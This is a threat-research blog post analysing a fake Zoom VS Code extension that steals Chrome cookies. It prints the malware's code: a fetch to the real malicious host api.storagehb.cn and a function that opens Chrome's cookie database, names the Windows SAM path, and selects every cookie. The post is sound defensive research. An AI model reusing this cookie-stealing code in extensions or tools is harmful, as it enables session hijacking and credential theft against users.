Malicious VS Code Extension Impersonating Zoom Steals Chrome Cookies

Introduction

In software development, the extensions available in IDEs like Visual Studio Code (VS Code) are pivotal in enhancing user experience and productivity. However, their necessity to fully leverage the development environment also introduces notable security risks. Hunt researchers uncovered a VS Code extension in late November masquerading as a Zoom application designed to access and steal Google Chrome cookies.

This incident underscores an ongoing threat where malicious actors exploit trusted infrastructure, like Microsoft's CDN, to distribute malware through seemingly legitimate channels. This case reveals vulnerabilities within the VS Code extension ecosystem. Our findings delve into the technical specifics of this deceptive strategy, highlighting security challenges for developers.

Zoomed In: A New Deceptive VS Code Extension

On December 20, ReversingLabs published an in-depth analysis detailing a campaign of malicious VS Code extensions they had been monitoring since October, one of which was a deceptive extension masquerading as the Zoom app. A post on X (formerly Twitter) in November found malicious code hidden in an obfuscated extension.js file designed to contact an external domain for a second-stage payload.

Our research team uncovered a new extension, distinct from ReversingLabs' findings, which was uploaded to the VS Code Marketplace on November 30 and last updated on December 8. This extension continues the theme of impersonating Zoom, specifically the Zoom Workspace tool, to gain users' trust. To enhance credibility, the uploader included a link to the legitimate GitHub repository for the Zoom Meeting SDK. This activity highlights how malicious actors will continue to use VS Code extensions as an entry point for network attacks, requiring defenders to monitor for threats continuously.

Further review of the overview page indicated that this extension is the only one uploaded by Zoom Communications Inc., adding to the suspicion around its legitimacy. Version history shows that the extension was initially released as versions 0.2.0 and 0.2.1 on November 30, followed by an update to version 0.2.2 on December 8.

Notably, versions 0.2.0 and 0.2.1 did not contain the code targeting Google Chrome cookies, introduced in version 0.2.2. This suggests a deliberate, phased approach, possibly releasing the extension to gauge its distribution potential or bypassing early detection mechanisms before introducing more malicious capabilities.

Users should be wary of extensions with a low number of installs, taking this as a sign there may be concerns about the software's reputation and the reliability of the publisher.

On the release date, the extension received its only review, as shown in the screenshot below. The lack of additional feedback suggests that this review may have come from an inauthentic account, potentially operated by the threat actor to boost the extension's credibility.

Technical Analysis

Our analysis will first start with the file structure of the extension, which is distributed in the VSIX format. Similar to a zip file, the .vsix file can contain a single or multiple extensions and supporting data needed by Visual Studio Code. The key files we will cover include:

• ./dist/extension.js: This file is typically responsible for activating and deactivating the extension.

• ./src/extension-web.js: This typically contains the extension's core functionality, including integrating with external services to enhance the IDE experience.

While examining the extension's files, we discovered a notable security lapse: a .env file with hardcoded API keys and secrets for over 20 services, including PayPal, GitHub, Mailgun, and AWS.

./dist/extension.js

Before diving into the specifics of extension.js, it's necessary to understand the extension's activation mechanisms. The code in Figure 4 below is from the file package.json. Specifically, we'll focus on the activationEvents field and the onStartupFinished event. This field ensures the extension is activated (including any malicious logic) once VS Code has fully loaded.

With this activation context in mind, let's examine extension.js. The file, which typically handles the extension's activation and deactivation, contains two empty functions. While not strictly necessary if functionality is handled elsewhere or through events, this design choice deviates from standard practices.

Several scenarios could reasonably explain the absence of code within these functions. It may indicate that the extension's primary logic is managed elsewhere, in extension-web.js, or relies on external triggers or events for its operation, which would not require immediate action upon activation or deactivation.

./src/extension-web.js

Shifting our attention to extension-web.js, we find the script is not obfuscated and includes comments in English. We'll use code snippets to explain the extension's functionalities further:

const vscode = require('vscode');\
const https = require('https');\
const sqlite3 = require('sqlite3').verbose();\
const path = require('path');\
const os = require('os');

Module Imports: This script requires a broad set of Node.js modules:

• vscode for extension development, exposing VS Code's API.

• https for making secure HTTP requests, essential for network operations.

• sqlite3 for database interactions, indicating local data persistence or manipulation.

• path and os for system-specific operations, suggesting file system navigation or system information retrieval.

Suspicious Endpoint Declaration

const d1 = 'https://api.storagehb.cn/d?v=1.3';

The endpoint api.storagehb[.]cn points to a server hosted in China. The domain could serve various purposes, including data storage, retrieval, or command and control functionalities. Network requests to the above resulted in an HTTP 404 status. The query parameter v=1.3 could indicate versioning information for API compatibility or specific data requests.

Asynchronous Data Fetching

function f3() {\
return new Promise((resolve, reject) => {\
 https.get(d1, (response) => {\
 let data = '';\
 response.on('data', (chunk) => {\
 data += chunk;});\
 response.on('end', () => {\
 if (response.statusCode >= 200  && response.statusCode < 300) {\
 resolve(data);\
 } else {\
 reject(new Error(`HTTP Status Code: ${response.statusCode}`));\
 }\
 }); }).on('error', (err) => {\
 reject(err);\
 }); });}

In the above, the function f3 demonstrates an attempt to fetch data from the above endpoint using Promises, managing the response based on the returned HTTP status code.

Cookie and System Data Access

function b5() {\
const a = ['Google/Chrome/Profile/Cookies','\\System32\\config\\RegBacl\\SAM']\
return new Promise((resolve, reject) => {\
 const cp = path.join(\
 os.homedir(),\
 'AppData',\
 'Local',\
 'Google',\
 'Chrome',\
 'User Data',\
 'Default',\
 'Cookies'\
 );\
 const db = new sqlite3.Database(cp, (err) => {\
 if (err) {\
 return;\
 }\
 });

b5 defines paths targeting:

• 'Google/Chrome/Profile/Cookies' to access Chrome's cookie storage.

• '\System32\config\RegBacl\SAM' pointing towards Windows registry data related to security accounts.

The code dynamically builds the path to Chrome's cookies file and attempts to connect to the SQLite database with a basic error check but no explicit error handling.

SQL Query

// Query to select cookies\
 const query = `SELECT host_key, name, value, encrypted_value, path, expires_utc, is_secure\
 FROM cookies`;\
 db.all(query, (err, rows) => {\
 if (err) {\
 return\
 } else {\
 resolve(rows);\
 }\
 });

The final snippet executes an SQL query to retrieve all cookies from Chrome's database, selecting key attributes like host, name, value, and security settings. If the query succeeds, it resolves the Promise with the rows of cookie data; otherwise, it silently returns an error.

The allure of enhancing Integrated Development Environments (IDEs) through plugins makes them prime targets for malicious actors. VS Code extensions, in particular, are commonly underestimated as security threats when incorporated into development environments, yet compromising an IDE can serve as a gateway for further attacks within an organization's development lifecycle.

Conclusion

We have reported this extension to the Microsoft VS Code Marketplace to protect users.

In this post, we've explored how VS Code extensions can be vectors for malicious activities, focusing on the deceptive practices of an extension masquerading as a legitimate tool. The potential for these extensions to access and misuse sensitive data like browser cookies underscores the need for heightened vigilance in the software development ecosystem.

A few tips for defenders who are regular users:

• Vet Extensions Thoroughly: Before integration, thoroughly vet extensions through code audits, reputation checks, and user reviews. Trust, but verify.

• Implement Strict Access Controls: Limit the permissions of installed extensions to only what's necessary for their function, reducing the attack surface.

• Educate and Train: Ensure that developers and users are aware of the risks associated with plugins. Training on how to spot and report suspicious extensions can be invaluable.

Network Observables and Indicators of Compromise (IOCs)

Host Observables